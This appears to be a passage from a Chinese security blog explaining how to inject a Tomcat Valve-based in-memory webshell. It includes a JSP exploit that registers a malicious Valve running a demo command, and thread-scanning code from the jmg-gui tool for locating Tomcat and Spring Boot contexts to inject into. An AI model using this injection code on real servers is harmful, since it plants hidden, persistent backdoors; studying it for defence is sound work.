再看看Valve接口里面声明的方法,其中invoke里面就是处理和响应的主体,所以在创建恶意Valve时可以通过使invoke来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
public interface Valvve {

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response)
throws IOException, ServletException;

public boolean isAsyncSupported();
}

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例

对于context容器里面由于需要处理请求,所以应该会有对Pipeline进行操作,下面就去找哪里会进行操作

来到CoyoteAdapter#service方法里面,当直接访问时就会调试到这里,下面就看看其调用链

它的service方法里面就提到了一个完整的调用链

首先先从connector调用到StandardEngineValve#invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public final void invoke(Request request, Response response)
throws IOException, ServletException {

// Select the Host to be used for this Request
Host host = request.getHost();
if (host == null) {
response.sendError
(HttpServletResponse.SC_BAD_REQUEST,
sm.getString("standardEngine.noHost",
request.getServerName()));
return;
}
if (request.isAsyncSupported()) {
request.setAsyncSupported(host.getPipeline().isAsyncSupported());
}

// Ask this Host to process this request
host.getPipeline().getFirst().invoke(request, response);

}

这里最后又嵌套调用下一个Value类的invoke,最后直到处理完请求

下面要找到哪里可以将恶意的Value添加进去,前面知道在Pipeline接口中存在一个addValve方法,毋庸置疑这个就是用于添加Valve的方法,对于实现Pipeline接口的类只有StandardPipeline里面存在addValve方法的实现,但是这里不能直接创建一个StandardPipeline对象,因为Pipeline 和 Valve 的使用通常需要一定的上下文环境,如果没有就会报错

所以这里的处理方式就是通过在context里面进行寻找,这里面肯定存在,或者可以找哪里调用了StandardPipeline#addValve方法,这里就也可以进行锁定类,这里面的ContainerBase里面调用了

并且它是StandardContext的父类,这个就满足了获取的条件

ContainerBase#addValve可以直接添加

或者可以通过getPipeline也可以直接获取上下文中的Pipeline对象,然后调用其中的addValve方法

下面又是获取Context的问题了,注册恶意的Valve过程

1
2
3
4
获取StandardContext对象
通过StandardContext对象获取StandardPipeline
编写恶意Valve
通过StandardPipeline.addValve()动态添加Valve

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
<%
context.addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
});
%>

jmg-gui构造链分析

这个内存马生成工具(jmg-gui)是pen4uin师傅写的,里面无需用上述的方法来获取context类,在对于正常的反序列化来说可能无法通过jsp文件来进行动态注册内存马,我们是希望在对恶意的类进行加载后就实现注册功能,而不是通过上传一个jsp文件来实现,而如果通过第二个方法来加载context还是有一定的限制

下面看一下其中获取context的方法,这里主要的思想是通过筛选线程的名字和类加载器来实现获取,这里不仅仅是tomcat框架,它还支持spring boot的环境下,这种方式就可以在恶意类加载中获取对应的context,方便对上述动态注入进行后续操作,一旦加载字节码就可以直接动态注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
//这里的ParallelWebappClassLoader默认为tomcat的构造器,而TomcatEmbeddedWebappClassLoader则为spring boot的构造器
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}